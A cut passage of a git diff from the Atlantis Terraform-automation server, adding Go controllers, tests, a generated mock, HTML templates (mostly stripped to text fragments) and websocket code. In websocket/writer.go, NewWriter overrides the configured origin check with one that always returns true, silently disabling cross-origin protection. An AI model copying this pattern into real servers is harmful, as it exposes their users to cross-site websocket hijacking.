*testing.T) { + t.Log("If there is an error retrieving the lock, a 500 is returned") + RegisterMockTestingT(t) + dlc := mocks2.NewMockDeleteLockCommand() + When(dlc.DeleteLock(Any[logging.SimpleLogging](), Eq("id"))).ThenReturn(nil, errors.New("err")) + lc := controllers.LocksController{ + DeleteLockCommand: dlc, + Logger: logging.NewNoopLogger(t), + } + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req = mux.SetURLVars(req, map[string]string{"id": "id"}) + w := httptest.NewRecorder() + lc.DeleteLock(w, req) + ResponseContains(t, w, http.StatusInternalServerError, "err") +} + +func TestDeleteLock_None(t *testing.T) { + t.Log("If there is no lock at that ID we get a 404") + RegisterMockTestingT(t) + dlc := mocks2.NewMockDeleteLockCommand() + When(dlc.DeleteLock(Any[logging.SimpleLogging](), Eq("id"))).ThenReturn(nil, nil) + lc := controllers.LocksController{ + DeleteLockCommand: dlc, + Logger: logging.NewNoopLogger(t), + } + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req = mux.SetURLVars(req, map[string]string{"id": "id"}) + w := httptest.NewRecorder() + lc.DeleteLock(w, req) + ResponseContains(t, w, http.StatusNotFound, "No lock found at id 'id'") +} + +func TestDeleteLock_OldFormat(t *testing.T) { + t.Log("If the lock doesn't have BaseRepo set it is deleted successfully") + RegisterMockTestingT(t) + cp := vcsmocks.NewMockClient() + dlc := mocks2.NewMockDeleteLockCommand() + When(dlc.DeleteLock(Any[logging.SimpleLogging](), Eq("id"))).ThenReturn(&models.ProjectLock{}, nil) + lc := controllers.LocksController{ + DeleteLockCommand: dlc, + Logger: logging.NewNoopLogger(t), + VCSClient: cp, + } + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req = mux.SetURLVars(req, map[string]string{"id": "id"}) + w := httptest.NewRecorder() + lc.DeleteLock(w, req) + ResponseContains(t, w, http.StatusOK, "Deleted lock id 'id'") + cp.VerifyWasCalled(Never()).CreateComment(Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()) +} + +func TestDeleteLock_UpdateProjectStatus(t *testing.T) { + t.Log("When deleting a lock, pull status has to be updated to reflect discarded plan") + RegisterMockTestingT(t) + + repoName := "owner/repo" + projectPath := "path" + workspaceName := "workspace" + + cp := vcsmocks.NewMockClient() + l := mocks2.NewMockDeleteLockCommand() + workingDir := mocks2.NewMockWorkingDir() + workingDirLocker := events.NewDefaultWorkingDirLocker() + pull := models.PullRequest{ + BaseRepo: models.Repo{FullName: repoName}, + } + When(l.DeleteLock(Any[logging.SimpleLogging](), Eq("id"))).ThenReturn(&models.ProjectLock{ + Pull: pull, + Workspace: workspaceName, + Project: models.Project{ + Path: projectPath, + RepoFullName: repoName, + }, + }, nil) + var backend locking.Backend + tmp := t.TempDir() + backend, err := db.New(tmp) + Ok(t, err) + // Seed the DB with a successful plan for that project (that is later discarded). + _, err = backend.UpdatePullWithResults(pull, []command.ProjectResult{ + { + Command: command.Plan, + RepoRelDir: projectPath, + Workspace: workspaceName, + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "tf-output", + LockURL: "lock-url", + }, + }, + }) + Ok(t, err) + lc := controllers.LocksController{ + DeleteLockCommand: l, + Logger: logging.NewNoopLogger(t), + VCSClient: cp, + WorkingDirLocker: workingDirLocker, + WorkingDir: workingDir, + Backend: backend, + } + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req = mux.SetURLVars(req, map[string]string{"id": "id"}) + w := httptest.NewRecorder() + lc.DeleteLock(w, req) + ResponseContains(t, w, http.StatusOK, "Deleted lock id 'id'") + status, err := backend.GetPullStatus(pull) + Ok(t, err) + Assert(t, status.Projects != nil, "status projects was nil") + Equals(t, []models.ProjectStatus{ + { + Workspace: workspaceName, + RepoRelDir: projectPath, + Status: models.DiscardedPlanStatus, + }, + }, status.Projects) +} + +func TestDeleteLock_CommentFailed(t *testing.T) { + t.Log("If the commenting fails we still return success") + RegisterMockTestingT(t) + dlc := mocks2.NewMockDeleteLockCommand() + When(dlc.DeleteLock(Any[logging.SimpleLogging](), Eq("id"))).ThenReturn(&models.ProjectLock{ + Pull: models.PullRequest{ + BaseRepo: models.Repo{FullName: "owner/repo"}, + }, + }, nil) + cp := vcsmocks.NewMockClient() + workingDir := mocks2.NewMockWorkingDir() + workingDirLocker := events.NewDefaultWorkingDirLocker() + var backend locking.Backend + tmp := t.TempDir() + backend, err := db.New(tmp) + Ok(t, err) + When(cp.CreateComment(Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]())).ThenReturn(errors.New("err")) + lc := controllers.LocksController{ + DeleteLockCommand: dlc, + Logger: logging.NewNoopLogger(t), + VCSClient: cp, + WorkingDir: workingDir, + WorkingDirLocker: workingDirLocker, + Backend: backend, + } + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req = mux.SetURLVars(req, map[string]string{"id": "id"}) + w := httptest.NewRecorder() + lc.DeleteLock(w, req) + ResponseContains(t, w, http.StatusOK, "Deleted lock id 'id'") +} + +func TestDeleteLock_CommentSuccess(t *testing.T) { + t.Log("We should comment back on the pull request if the lock is deleted") + RegisterMockTestingT(t) + cp := vcsmocks.NewMockClient() + dlc := mocks2.NewMockDeleteLockCommand() + workingDir := mocks2.NewMockWorkingDir() + workingDirLocker := events.NewDefaultWorkingDirLocker() + var backend locking.Backend + tmp := t.TempDir() + backend, err := db.New(tmp) + Ok(t, err) + pull := models.PullRequest{ + BaseRepo: models.Repo{FullName: "owner/repo"}, + } + When(dlc.DeleteLock(Any[logging.SimpleLogging](), Eq("id"))).ThenReturn(&models.ProjectLock{ + Pull: pull, + Workspace: "workspace", + Project: models.Project{ + Path: "path", + RepoFullName: "owner/repo", + }, + }, nil) + lc := controllers.LocksController{ + DeleteLockCommand: dlc, + Logger: logging.NewNoopLogger(t), + VCSClient: cp, + Backend: backend, + WorkingDir: workingDir, + WorkingDirLocker: workingDirLocker, + } + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req = mux.SetURLVars(req, map[string]string{"id": "id"}) + w := httptest.NewRecorder() + lc.DeleteLock(w, req) + ResponseContains(t, w, http.StatusOK, "Deleted lock id 'id'") + cp.VerifyWasCalled(Once()).CreateComment(Any[logging.SimpleLogging](), Eq(pull.BaseRepo), Eq(pull.Num), + Eq("**Warning**: The plan for dir: `path` workspace: `workspace` was **discarded** via the Atlantis UI.\n\n"+ + "To `apply` this plan you must run `plan` again."), Eq("")) +} diff --git a/server/controllers/status_controller.go b/server/controllers/status_controller.go new file mode 100644 index 0000000000..487ac97914 --- /dev/null +++ b/server/controllers/status_controller.go @@ -0,0 +1,40 @@ +package controllers + +import ( + "encoding/json" + "fmt" + "net/http" + + "github.com/runatlantis/atlantis/server/events" + "github.com/runatlantis/atlantis/server/logging" +) + +// StatusController handles the status of Atlantis. +type StatusController struct { + Logger logging.SimpleLogging `validate:"required"` + Drainer *events.Drainer `validate:"required"` + AtlantisVersion string `validate:"required"` +} + +type StatusResponse struct { + ShuttingDown bool `json:"shutting_down"` + InProgressOps int `json:"in_progress_operations"` + AtlantisVersion string `json:"version"` +} + +// Get is the GET /status route. +func (d *StatusController) Get(w http.ResponseWriter, _ *http.Request) { + status := d.Drainer.GetStatus() + data, err := json.MarshalIndent(&StatusResponse{ + ShuttingDown: status.ShuttingDown, + InProgressOps: status.InProgressOps, + AtlantisVersion: d.AtlantisVersion, + }, "", " ") + if err != nil { + w.WriteHeader(http.StatusInternalServerError) + fmt.Fprintf(w, "Error creating status json response: %s", err) + return + } + w.Header().Set("Content-Type", "application/json") + w.Write(data) // nolint: errcheck +} diff --git a/server/controllers/status_controller_test.go b/server/controllers/status_controller_test.go new file mode 100644 index 0000000000..7cd4df4b3b --- /dev/null +++ b/server/controllers/status_controller_test.go @@ -0,0 +1,85 @@ +package controllers_test + +import ( + "bytes" + "encoding/json" + "io" + "net/http" + "net/http/httptest" + "testing" + + "github.com/runatlantis/atlantis/server/controllers" + "github.com/runatlantis/atlantis/server/events" + "github.com/runatlantis/atlantis/server/logging" + . "github.com/runatlantis/atlantis/testing" +) + +func TestStatusController_Startup(t *testing.T) { + logger := logging.NewNoopLogger(t) + r, _ := http.NewRequest("GET", "/status", bytes.NewBuffer(nil)) + w := httptest.NewRecorder() + dr := &events.Drainer{} + d := &controllers.StatusController{ + Logger: logger, + Drainer: dr, + AtlantisVersion: "1.0.0", + } + d.Get(w, r) + + var result controllers.StatusResponse + body, err := io.ReadAll(w.Result().Body) + Ok(t, err) + Equals(t, 200, w.Result().StatusCode) + err = json.Unmarshal(body, &result) + Ok(t, err) + Equals(t, false, result.ShuttingDown) + Equals(t, 0, result.InProgressOps) +} + +func TestStatusController_InProgress(t *testing.T) { + logger := logging.NewNoopLogger(t) + r, _ := http.NewRequest("GET", "/status", bytes.NewBuffer(nil)) + w := httptest.NewRecorder() + dr := &events.Drainer{} + dr.StartOp() + + d := &controllers.StatusController{ + Logger: logger, + Drainer: dr, + AtlantisVersion: "1.0.0", + } + d.Get(w, r) + + var result controllers.StatusResponse + body, err := io.ReadAll(w.Result().Body) + Ok(t, err) + Equals(t, 200, w.Result().StatusCode) + err = json.Unmarshal(body, &result) + Ok(t, err) + Equals(t, false, result.ShuttingDown) + Equals(t, 1, result.InProgressOps) +} + +func TestStatusController_Shutdown(t *testing.T) { + logger := logging.NewNoopLogger(t) + r, _ := http.NewRequest("GET", "/status", bytes.NewBuffer(nil)) + w := httptest.NewRecorder() + dr := &events.Drainer{} + dr.ShutdownBlocking() + + d := &controllers.StatusController{ + Logger: logger, + Drainer: dr, + AtlantisVersion: "1.0.0", + } + d.Get(w, r) + + var result controllers.StatusResponse + body, err := io.ReadAll(w.Result().Body) + Ok(t, err) + Equals(t, 200, w.Result().StatusCode) + err = json.Unmarshal(body, &result) + Ok(t, err) + Equals(t, true, result.ShuttingDown) + Equals(t, 0, result.InProgressOps) +} diff --git a/server/controllers/web_templates/mocks/mock_template_writer.go b/server/controllers/web_templates/mocks/mock_template_writer.go new file mode 100644 index 0000000000..35075abec4 --- /dev/null +++ b/server/controllers/web_templates/mocks/mock_template_writer.go @@ -0,0 +1,113 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/controllers/web_templates (interfaces: TemplateWriter) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + io "io" + "reflect" + "time" +) + +type MockTemplateWriter struct { + fail func(message string, callerSkip ...int) +} + +func NewMockTemplateWriter(options ...pegomock.Option) *MockTemplateWriter { + mock := &MockTemplateWriter{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockTemplateWriter) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockTemplateWriter) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockTemplateWriter) Execute(wr io.Writer, data interface{}) error { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockTemplateWriter().") + } + _params := []pegomock.Param{wr, data} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Execute", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) + } + } + return _ret0 +} + +func (mock *MockTemplateWriter) VerifyWasCalledOnce() *VerifierMockTemplateWriter { + return &VerifierMockTemplateWriter{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockTemplateWriter) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockTemplateWriter { + return &VerifierMockTemplateWriter{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockTemplateWriter) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockTemplateWriter { + return &VerifierMockTemplateWriter{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockTemplateWriter) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockTemplateWriter { + return &VerifierMockTemplateWriter{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockTemplateWriter struct { + mock *MockTemplateWriter + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockTemplateWriter) Execute(wr io.Writer, data interface{}) *MockTemplateWriter_Execute_OngoingVerification { + _params := []pegomock.Param{wr, data} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Execute", _params, verifier.timeout) + return &MockTemplateWriter_Execute_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockTemplateWriter_Execute_OngoingVerification struct { + mock *MockTemplateWriter + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockTemplateWriter_Execute_OngoingVerification) GetCapturedArguments() (io.Writer, interface{}) { + wr, data := c.GetAllCapturedArguments() + return wr[len(wr)-1], data[len(data)-1] +} + +func (c *MockTemplateWriter_Execute_OngoingVerification) GetAllCapturedArguments() (_param0 []io.Writer, _param1 []interface{}) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]io.Writer, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(io.Writer) + } + } + if len(_params) > 1 { + _param1 = make([]interface{}, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(interface{}) + } + } + } + return +} diff --git a/server/controllers/web_templates/templates/github-app.html.tmpl b/server/controllers/web_templates/templates/github-app.html.tmpl new file mode 100644 index 0000000000..34ce01550d --- /dev/null +++ b/server/controllers/web_templates/templates/github-app.html.tmpl @@ -0,0 +1,81 @@ + + + + + atlantis + + + + + + + + + + + +
+
+ +

atlantis

+ +

+ {{ if .Target }} + Create a github app + {{ else }} + Github app created successfully! + {{ end }} +

+
+
+ {{ if .Target }} +
+ + +
+ {{ else }} +

Visit {{ .URL }}/installations/new to install the app for your user or organization, then update the following values in your config and restart Atlantis:

+ +
    +
  • gh-app-id:
    {{ .ID }}
  • +
  • gh-app-key-file:
    {{ .Key }}
  • +
  • gh-webhook-secret:
    {{ .WebhookSecret }}
  • +
+ {{ end }} +
+
+ + diff --git a/server/controllers/web_templates/templates/index.html.tmpl b/server/controllers/web_templates/templates/index.html.tmpl new file mode 100644 index 0000000000..b9021f9b61 --- /dev/null +++ b/server/controllers/web_templates/templates/index.html.tmpl @@ -0,0 +1,243 @@ + + + + + atlantis + + + + + + + + + + + +
+
+ +

atlantis

+

Plan discarded and unlocked!

+
+
+ {{ if .ApplyLock.GlobalApplyLockEnabled }} + {{ if .ApplyLock.Locked }} +
+
Apply commands are disabled globally
+
Lock Status: Active
+
Active Since: {{ .ApplyLock.TimeFormatted }}
+ Enable Apply Commands +
+ {{ else }} +
+
Apply commands are enabled
+ Disable Apply Commands +
+ {{ end }} + {{ end }} +
+
+
+
+
+

Locks

+ {{ $basePath := .CleanedBasePath }} + {{ if .Locks }} +
+
+ Repository + Project + Workspace + Locked By + Date/Time + Status +
+ {{ range .Locks }} + + {{ end }} +
+ {{ else }} +

No locks found.

+ {{ end }} +
+
+
+
+
+

Jobs

+ {{ if .PullToJobMapping }} +
+
+ Repository + Project + Workspace + Date/Time + Step + Description +
+ {{ range .PullToJobMapping }} +
+ {{ .Pull.RepoFullName }} #{{ .Pull.PullNum }} + {{ if .Pull.Path }}{{ .Pull.Path }}{{ end }} + {{ if .Pull.Workspace }}{{ .Pull.Workspace }}{{ end }} + + {{ range .JobIDInfos }} +
{{ .TimeFormatted }}
+ {{ end }} +
+ + {{ range .JobIDInfos }} + + {{ end }} + + + {{ range .JobIDInfos }} +
{{ .JobDescription }}
+ {{ end }} +
+
+ {{ end }} +
+ {{ else }} +

No jobs found.

+ {{ end }} +
+ + +
+
+{{ .AtlantisVersion }} +
+ + + diff --git a/server/controllers/web_templates/templates/lock.html.tmpl b/server/controllers/web_templates/templates/lock.html.tmpl new file mode 100644 index 0000000000..56bf25a06b --- /dev/null +++ b/server/controllers/web_templates/templates/lock.html.tmpl @@ -0,0 +1,97 @@ + + + + + atlantis + + + + + + + + + + +
+
+ +

atlantis

+

{{.LockKey}} Locked

+
+ +
+
+
+
Repo Owner:
{{.RepoOwner}}
+
Repo Name:
{{.RepoName}}
+
Pull Request Link:
+
Locked By:
{{.LockedBy}}
+
Workspace:
{{.Workspace}}
+
+
+ Discard Plan & Unlock +
+
+ +
+v{{ .AtlantisVersion }} +
+ + + \ No newline at end of file diff --git a/server/controllers/web_templates/templates/project-jobs-error.html.tmpl b/server/controllers/web_templates/templates/project-jobs-error.html.tmpl new file mode 100644 index 0000000000..8eead799b7 --- /dev/null +++ b/server/controllers/web_templates/templates/project-jobs-error.html.tmpl @@ -0,0 +1,59 @@ + + + + + atlantis + + + + + + + + + + + +
+
+ +

atlantis

+

+
+
+
+
+
+
+
+
+
+ + + + + + + + + diff --git a/server/controllers/web_templates/templates/project-jobs.html.tmpl b/server/controllers/web_templates/templates/project-jobs.html.tmpl new file mode 100644 index 0000000000..aaeb222568 --- /dev/null +++ b/server/controllers/web_templates/templates/project-jobs.html.tmpl @@ -0,0 +1,95 @@ + + + + + atlantis + + + + + + + + + + + +
+ +

atlantis

+

+
+
+
+
+ +
Initializing... +
+ + + + + + + + + + + diff --git a/server/controllers/web_templates/web_templates.go b/server/controllers/web_templates/web_templates.go new file mode 100644 index 0000000000..0794c80fba --- /dev/null +++ b/server/controllers/web_templates/web_templates.go @@ -0,0 +1,131 @@ +// Copyright 2017 HootSuite Media Inc. +// +// Licensed under the Apache License, Version 2.0 (the License); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// http://www.apache.org/licenses/LICENSE-2.0 +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an AS IS BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// Modified hereafter by contributors to runatlantis/atlantis. + +package web_templates + +import ( + "embed" + "html/template" + "io" + "time" + + "github.com/Masterminds/sprig/v3" + "github.com/runatlantis/atlantis/server/jobs" +) + +//go:generate pegomock generate --package mocks -o mocks/mock_template_writer.go TemplateWriter + +//go:embed templates/* +var templatesFS embed.FS + +// Read all the templates from the embedded filesystem +var templates, _ = template.New("").Funcs(sprig.TxtFuncMap()).ParseFS(templatesFS, "templates/*.tmpl") + +var templateFileNames = map[string]string{ + "index": "index.html.tmpl", + "lock": "lock.html.tmpl", + "project-jobs": "project-jobs.html.tmpl", + "project-jobs-error": "project-jobs-error.html.tmpl", + "github-app": "github-app.html.tmpl", +} + +// TemplateWriter is an interface over html/template that's used to enable +// mocking. +type TemplateWriter interface { + // Execute applies a parsed template to the specified data object, + // writing the output to wr. + Execute(wr io.Writer, data interface{}) error +} + +// LockIndexData holds the fields needed to display the index view for locks. +type LockIndexData struct { + LockPath string + RepoFullName string + PullNum int + Path string + Workspace string + LockedBy string + Time time.Time + TimeFormatted string +} + +// ApplyLockData holds the fields to display in the index view +type ApplyLockData struct { + Locked bool + GlobalApplyLockEnabled bool + Time time.Time + TimeFormatted string +} + +// IndexData holds the data for rendering the index page +type IndexData struct { + Locks []LockIndexData + PullToJobMapping []jobs.PullInfoWithJobIDs + + ApplyLock ApplyLockData + AtlantisVersion string + // CleanedBasePath is the path Atlantis is accessible at externally. If + // not using a path-based proxy, this will be an empty string. Never ends + // in a '/' (hence "cleaned"). + CleanedBasePath string +} + +var IndexTemplate = templates.Lookup(templateFileNames["index"]) + +// LockDetailData holds the fields needed to display the lock detail view. +type LockDetailData struct { + LockKeyEncoded string + LockKey string + RepoOwner string + RepoName string + PullRequestLink string + LockedBy string + Workspace string + AtlantisVersion string + // CleanedBasePath is the path Atlantis is accessible at externally. If + // not using a path-based proxy, this will be an empty string. Never ends + // in a '/' (hence "cleaned"). + CleanedBasePath string +} + +var LockTemplate = templates.Lookup(templateFileNames["lock"]) + +// ProjectJobData holds the data needed to stream the current PR information +type ProjectJobData struct { + AtlantisVersion string + ProjectPath string + CleanedBasePath string +} + +var ProjectJobsTemplate = templates.Lookup(templateFileNames["project-jobs"]) + +type ProjectJobsError struct { + AtlantisVersion string + ProjectPath string + CleanedBasePath string +} + +var ProjectJobsErrorTemplate = templates.Lookup(templateFileNames["project-jobs-error"]) + +// GithubSetupData holds the data for rendering the github app setup page +type GithubSetupData struct { + Target string + Manifest string + ID int64 + Key string + WebhookSecret string + URL string + CleanedBasePath string +} + +var GithubAppSetupTemplate = templates.Lookup(templateFileNames["github-app"]) diff --git a/server/controllers/web_templates/web_templates_test.go b/server/controllers/web_templates/web_templates_test.go new file mode 100644 index 0000000000..0ce6f00a9a --- /dev/null +++ b/server/controllers/web_templates/web_templates_test.go @@ -0,0 +1,95 @@ +package web_templates + +import ( + "io" + "testing" + "time" + + "github.com/runatlantis/atlantis/server/jobs" + . "github.com/runatlantis/atlantis/testing" +) + +func TestIndexTemplate(t *testing.T) { + err := IndexTemplate.Execute(io.Discard, IndexData{ + Locks: []LockIndexData{ + { + LockPath: "lock path", + RepoFullName: "repo full name", + PullNum: 1, + Path: "path", + Workspace: "workspace", + Time: time.Now(), + TimeFormatted: "2006-01-02 15:04:05", + }, + }, + ApplyLock: ApplyLockData{ + Locked: true, + Time: time.Now(), + TimeFormatted: "2006-01-02 15:04:05", + }, + AtlantisVersion: "v0.0.0", + CleanedBasePath: "/path", + PullToJobMapping: []jobs.PullInfoWithJobIDs{ + { + Pull: jobs.PullInfo{ + PullNum: 1, + Repo: "repo", + RepoFullName: "repo full name", + ProjectName: "project name", + Path: "path", + Workspace: "workspace", + }, + JobIDInfos: []jobs.JobIDInfo{ + {JobID: "job id", JobIDUrl: "job id url", JobDescription: "job description", Time: time.Now(), TimeFormatted: "02-01-2006 15:04:05", JobStep: "job step"}, + }, + }, + }, + }) + Ok(t, err) +} + +func TestLockTemplate(t *testing.T) { + err := LockTemplate.Execute(io.Discard, LockDetailData{ + LockKeyEncoded: "lock key encoded", + LockKey: "lock key", + PullRequestLink: "https://example.com", + LockedBy: "locked by", + Workspace: "workspace", + AtlantisVersion: "v0.0.0", + CleanedBasePath: "/path", + RepoOwner: "repo owner", + RepoName: "repo name", + }) + Ok(t, err) +} + +func TestProjectJobsTemplate(t *testing.T) { + err := ProjectJobsTemplate.Execute(io.Discard, ProjectJobData{ + AtlantisVersion: "v0.0.0", + ProjectPath: "project path", + CleanedBasePath: "/path", + }) + Ok(t, err) +} + +func TestProjectJobsErrorTemplate(t *testing.T) { + err := ProjectJobsTemplate.Execute(io.Discard, ProjectJobsError{ + AtlantisVersion: "v0.0.0", + ProjectPath: "project path", + CleanedBasePath: "/path", + }) + Ok(t, err) +} + +func TestGithubAppSetupTemplate(t *testing.T) { + err := GithubAppSetupTemplate.Execute(io.Discard, GithubSetupData{ + Target: "target", + Manifest: "manifest", + ID: 1, + Key: "key", + WebhookSecret: "webhook secret", + URL: "https://example.com", + CleanedBasePath: "/path", + }) + Ok(t, err) +} diff --git a/server/controllers/websocket/mux.go b/server/controllers/websocket/mux.go new file mode 100644 index 0000000000..97afb6e9e8 --- /dev/null +++ b/server/controllers/websocket/mux.go @@ -0,0 +1,84 @@ +package websocket + +import ( + "fmt" + "net/http" + + "github.com/gorilla/websocket" + "github.com/pkg/errors" + "github.com/runatlantis/atlantis/server/logging" +) + +// PartitionKeyGenerator generates partition keys for the multiplexor +type PartitionKeyGenerator interface { + Generate(r *http.Request) (string, error) +} + +// PartitionRegistry is the registry holding each partition +// and is responsible for registering/deregistering new buffers +type PartitionRegistry interface { + Register(key string, buffer chan string) + Deregister(key string, buffer chan string) + IsKeyExists(key string) bool +} + +// Multiplexor is responsible for handling the data transfer between the storage layer +// and the registry. Note this is still a WIP as right now the registry is assumed to handle +// everything. +type Multiplexor struct { + writer *Writer + keyGenerator PartitionKeyGenerator + registry PartitionRegistry +} + +func checkOriginFunc(checkOrigin bool) func(r *http.Request) bool { + if checkOrigin { + return nil // use Gorilla websocket's checkSameOrigin + } + return func(r *http.Request) bool { + return true + } +} + +func NewMultiplexor(log logging.SimpleLogging, keyGenerator PartitionKeyGenerator, registry PartitionRegistry, checkOrigin bool) *Multiplexor { + upgrader := websocket.Upgrader{ + CheckOrigin: checkOriginFunc(checkOrigin), + } + return &Multiplexor{ + writer: &Writer{ + upgrader: upgrader, + log: log, + }, + keyGenerator: keyGenerator, + registry: registry, + } +} + +// Handle should be called for a given websocket request. It blocks +// while writing to the websocket until the buffer is closed. +func (m *Multiplexor) Handle(w http.ResponseWriter, r *http.Request) error { + key, err := m.keyGenerator.Generate(r) + + if err != nil { + return errors.Wrapf(err, "generating partition key") + } + + // check if the job ID exists before registering receiver + if !m.registry.IsKeyExists(key) { + return fmt.Errorf("invalid key: %s", key) + } + + // Buffer size set to 1000 to ensure messages get queued. + // TODO: make buffer size configurable + buffer := make(chan string, 1000) + + // spinning up a goroutine for this since we are attempting to block on the read side. + go m.registry.Register(key, buffer) + defer m.registry.Deregister(key, buffer) + + err = m.writer.Write(w, r, buffer) + if err != nil { + return errors.Wrapf(err, "writing to ws %s", key) + } + return nil +} diff --git a/server/controllers/websocket/mux_test.go b/server/controllers/websocket/mux_test.go new file mode 100644 index 0000000000..baddfb2196 --- /dev/null +++ b/server/controllers/websocket/mux_test.go @@ -0,0 +1,61 @@ +package websocket + +import ( + "net/http" + "net/http/httptest" + "net/url" + "testing" + + "github.com/gorilla/websocket" +) + +func wsHandler(t *testing.T, checkOrigin bool) http.HandlerFunc { + upgrader := websocket.Upgrader{ + CheckOrigin: checkOriginFunc(checkOrigin), + } + return func(w http.ResponseWriter, r *http.Request) { + c, err := upgrader.Upgrade(w, r, nil) + if err != nil { + t.Log("upgrade:", err) + return + } + defer c.Close() + } +} + +func TestCheckOriginFunc(t *testing.T) { + + tests := []struct { + name string + checkOrigin bool + origin string + host string + wantErr bool + }{ + {"same origin", true, "http://example.com/", "example.com", false}, + {"same origin with port", true, "http://example.com:8080/", "example.com:8080", false}, + {"fail with different origin", true, "http://example.net/", "example.com", true}, + {"success with same origin without check", false, "http://example.com/", "example.com", false}, + {"success with different origin without check", false, "http://example.net/", "example.com", false}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + s := httptest.NewServer(wsHandler(t, tt.checkOrigin)) + u, _ := url.Parse(s.URL) + u.Path = "/" + u.Scheme = "ws" + header := http.Header{ + "Origin": []string{tt.origin}, + "Host": []string{tt.host}, + } + c, _, err := websocket.DefaultDialer.Dial(u.String(), header) + if err == nil { + defer c.Close() + } + if (err != nil) != tt.wantErr { + t.Errorf("websocket dial error = %v, wantErr %v", err, tt.wantErr) + } + }) + } + +} diff --git a/server/controllers/websocket/writer.go b/server/controllers/websocket/writer.go new file mode 100644 index 0000000000..1b862d628d --- /dev/null +++ b/server/controllers/websocket/writer.go @@ -0,0 +1,47 @@ +package websocket + +import ( + "net/http" + + "github.com/gorilla/websocket" + "github.com/pkg/errors" + "github.com/runatlantis/atlantis/server/logging" +) + +func NewWriter(log logging.SimpleLogging, checkOrigin bool) *Writer { + upgrader := websocket.Upgrader{ + CheckOrigin: checkOriginFunc(checkOrigin), + } + upgrader.CheckOrigin = func(r *http.Request) bool { return true } + return &Writer{ + upgrader: upgrader, + log: log, + } +} + +type Writer struct { + upgrader websocket.Upgrader + log logging.SimpleLogging +} + +func (w *Writer) Write(rw http.ResponseWriter, r *http.Request, input chan string) error { + conn, err := w.upgrader.Upgrade(rw, r, nil) + + if err != nil { + return errors.Wrap(err, "upgrading websocket connection") + } + + // block on reading our input channel + for msg := range input { + if err := conn.WriteMessage(websocket.BinaryMessage, []byte("\r"+msg+"\n")); err != nil { + w.log.Warn("Failed to write ws message: %s", err) + return err + } + } + + // close ws conn after input channel is closed + if err = conn.Close(); err != nil { + w.log.Warn("Failed to close ws connection: %s", err) + } + return nil +} diff --git a/server/core/config/parser_validator.go b/server/core/config/parser_validator.go new file mode 100644 index 0000000000..0c12b7aeb6 --- /dev/null +++ b/server/core/config/parser_validator.go @@ -0,0 +1,227 @@ +package config + +import ( + "bytes" + "encoding/json" + "errors" + "fmt" + "io" + "os" + "path/filepath" + "strings" + + validation "github.com/go-ozzo/ozzo-validation" + shlex "github.com/google/shlex" + + "github.com/runatlantis/atlantis/server/core/config/raw" + "github.com/runatlantis/atlantis/server/core/config/valid" + yaml "gopkg.in/yaml.v3" +) + +// ParserValidator parses and validates server-side repo config files and +// repo-level atlantis.yaml files. +type ParserValidator struct{} + +// HasRepoCfg returns true if there is a repo config (atlantis.yaml) file +// for the repo at absRepoDir. +// Returns an error if for some reason it can't read that directory. +func (p *ParserValidator) HasRepoCfg(absRepoDir, repoConfigFile string) (bool, error) { + // Checks for a config file with an invalid extension (atlantis.yml) + const invalidExtensionFilename = "atlantis.yml" + _, err := os.Stat(p.repoCfgPath(absRepoDir, invalidExtensionFilename)) + if err == nil { + return false, fmt.Errorf("found %q as config file; rename using the .yaml extension", invalidExtensionFilename) + } + + _, err = os.Stat(p.repoCfgPath(absRepoDir, repoConfigFile)) + if errors.Is(err, os.ErrNotExist) { + return false, nil + } + return err == nil, err +} + +// ParseRepoCfg returns the parsed and validated atlantis.yaml config for the +// repo at absRepoDir. +// If there was no config file, it will return an os.IsNotExist(error). +func (p *ParserValidator) ParseRepoCfg(absRepoDir string, globalCfg valid.GlobalCfg, repoID string, branch string) (valid.RepoCfg, error) { + repoConfigFile := 